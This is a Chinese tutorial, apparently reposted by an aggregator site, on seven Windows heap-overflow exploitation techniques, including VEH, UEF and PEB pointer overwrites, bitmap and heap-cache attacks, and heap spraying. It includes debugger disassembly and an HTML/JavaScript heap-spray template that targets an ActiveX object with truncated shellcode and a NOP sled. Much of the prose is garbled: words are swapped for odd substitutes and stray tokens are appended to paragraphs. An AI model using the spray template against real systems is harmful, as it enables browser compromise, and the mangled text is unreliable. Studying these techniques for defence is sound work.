文本由 www.169it.com 搜集整理php
windows下的堆栈溢出攻击和unix下的,原理基本相同。可是,因为windows用户进程地址空间分配和堆栈处理有其独立的特色,致使了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也致使了windows下的exploit不具备通用性。windows版本不一样,而exploit使用了不少动态连接库里面的库函数,其地址都是与dll的版本有关系的。不一样的dll版本,里面的库函数的偏移地址就可能(注意:是可能)不一样。由于windows的patch每天有,他的一些dll就更新很快。甚至可能不一样语言版本的windows,其核心dll的版本都不一样。用户的dll一变动,那么,咱们的exploit里面的shellcode就要从新写。html
为了解决这个问题,我想咱们能够尽可能减小固定地址的使用。即,使用GetProcAddress来得到咱们将使用的每个系统函数,固然这就大大加长了咱们的shellcode。可是,这也没法消除对kernel32.dll的中LoadLibrary和GetProcAddress的地址的直接引用,由于这两个是shellcode中最基本的函数,天然就致使了对kernel32.dll版本的依赖。shell
1、利用VEHwindows
向量化异常处理(VEH,Vectored Exception Handling)最初是在XP中公布,它的优先级高于SEH,而且VEH是存在堆中的,它是你在代码中明确添加的,并不伴随try/catch之类的语句而产生,它也须要经过API(AddVectoredExceptionHandler)来注册回调函数,并可注册多个VEH,各个VEH结构体之间串成双向链表,所以比SEH多了一个前??指针,其它更详细的信息可参考《Windows XP中的向量化异常处理》一文:http://bbs.pediy.com/showthread.php?t=49868。每个VEH结构均存储在堆上,其结构以下:数组
1
2
3
4
5
6
|
struct
_VECTORED_EXCEPTION_NODE
{
DWORD
m_pNextNode;
//指向下一个_VECTORED_EXCEPION_NODE结构,所以可用伪造的指针来覆盖它
DWORD
m_pPreviousNode;
//指向上一个_VECTORED_EXCEPION_NODE结构
PVOID
m_pfnVectoredHandler;
//异常处理函数
}
|
负责分发_VECTORED_EXCEPION_NODE的代码以下:浏览器
1
2
3
4
5
|
77F7F49E 8B35 1032FC77 MOV ESI,
DWORD
PTR DS:[77FC3210] ;赋值后ESI指向_VECTORED_EXCEPION_NODE结构,即m_pNextNode
77F7F4A4 EB 0E JMP
SHORT
ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,
DWORD
PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL
DWORD
PTR DS:[ESI+8] ;可用shellcode-0x8去覆盖m_pNextNode指针
|
接着咱们在堆中肯定shellcode地址,可先用垃圾字符去填充,好比'0x41',而后在堆中搜索它。当发生堆溢出时,堆块的前向指针和后向指针就会被篡改,好比异常出如今:缓存
1
2
|
MOV
DWORD
PTR DS:[ECX],EAX ;EAX = Flink = 写入的内容
MOV
DWORD
PTR DS:[EAX+4],ECX ;ECX = Blink = 写入的地址
|
那么咱们就能够用m_pNextNode-4来覆盖ECX,而后用shellcode-8去覆盖EAX。关于m_pNextNode指针的获取,咱们只需在触发异常后,按shift+F7步过异常便可找到此指针,好比如下代码:dom
1
2
3
|
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210 ;m_pNextNode指针
77F60C31 393D 1032FC77 CMP
DWORD
PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485
|
关于EAX和ECX的偏移地址可经过pattern_create和pattern_offset来获取。这样当触发异常时就会调用VEH,而此时下一个VEH结构便是咱们特地构造的shellcode,这样咱们的恶意代码就有能够被执行了。ide
2、利用UEF函数
系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为咱们的shellcode地址便可。获取UEF地址的方法能够经过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操做UnhandledExceptionFilter指针的MOV指令,好比如下代码:
1
2
3
4
5
|
77E93114 A1 B473ED77 MOV EAX,
DWORD
PTR DS:[77ED73B4] ;UnhandledExceptionFilter指针
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE
SHORT
kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
|
如今咱们只需找到shellcode地址,或者看是否有某一寄存器reg恰好指向shellcode或其附近,而后用shellcode地址或者相似call [reg + offset]的指令地址来覆盖UnhandledExceptionFilter指针,比较经常使用的指令如:
1
2
|
call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]
|
其它eax,ebx也有可能指向堆,亦可做为跳板来用。
3、利用PEB
因为当UEF被调用后,它最终会调用ExitProcess()来结束程序,而它在清理现场时须要进入临界区以同步线程,所以会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是经过存放在PEB中的一对指针来调用这两个函数的,若是可以利用DWORD SHOOT把这对指针篡改为shellcode入口地址,那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的状况:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
0:000> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
//根据此指针来间接进入临界区
+0x020 FastPebLockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
……
|
但在WinXP SP2以后微软就加入了PEB random保护,再也不使用固定的PEB基址,而使用具备必定随机性的PEB基址,以提升利用的难度。
4、Heap Spary
Heap Spary技术最先是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要做为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,而后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,所以只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就能够执行shellcode,这些堆块能够用NOP + shellcode 来填充,每块堆构造1M大小便可,固然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<
html
>
<
body
>
<
object
classid
=
"clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"
id
=
"target"
></
object
>
<
script
>
Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<
200
; i++)
{
slide[i] = nop + shellcode;
}
var
s
=
''
;
while (s.length < 748)
{
s+="\x0c";
}
target.Overflow(s);
</script>
</
body
>
</
html
>
|
5、Bitmap Flipping Attack
在 Heap Management 结构中包含有Freelist Bitmap标志位,它是一个4字节的DWORD值,当对应的FreeList[n]被填充时,bitmap就将被设置。当请求分配堆块时,它会先搜索与之大小合适的FreeList[n],而后检测对应的bitmap,若上面为0就表示上面是块未使用的空闲块,则对应的FreeList[n]将用于分配配块,接着返回到对应的请求块FreeList[n]指向的地址。所以若是咱们能够控制Bitmap,并可以覆盖freelist[n]中的值,那么咱们就能够经过它来执行任意代码。
6、Heap Cache Attack
Heap Cache主要用于下降频繁遍历FreeList[0]的性能消耗,以提升性能。它主要是为FreeList[0]中的堆块建立扩展索引,更重要的是,Heap Manager并无将任何空闲块移动缓存中,这些空闲块一直保存在FreeList[0]中,但缓存中保存着一些指针,它们指向FreeList[0]中的某些节点,以此来提高访问FreeList[0]的速度。堆缓存是一个bucket数组,每个bucket包含有intptr_t字节用于存储大小,还有一个NULL指针或者FreeList[0]上的堆块指针。默认状况下,数组包括有896个bucket,其大小在1024和8192之间,但大小是可配置的,咱们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各类利用方式,好比De-synchronization Attack(经过覆写堆块头信息中的大小域,使每次请求同等大小堆块时都指向同一块已经使用的内存块,若是攻击者可能控制这一内存块中的内容,就有可能致使任意代码执行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性,在实际运用上很难派上用场,若想获取更多关于这方面的信息能够参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。
7、Bitmap XOR Attack
Bitmap XOR Attack 是经过异或操做来更改 freelist bitmap,若是系统尝试清除这一错误的标志位,那么就可能从一个空闲位(free bit)切换到设置位(set bit),进而实现相似上文提到的bitmap attack。这个能够经过篡改堆块头信息中的大小域(CurSize),使其小于0x80,接着再使对应堆块中的前向指向与后向指针相等(flink == blink),并保证其指向的地址是可读的。更多信息能够参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大,权当了解,学习思路更为重要。
文章来源:windows堆栈溢出利用的七种方式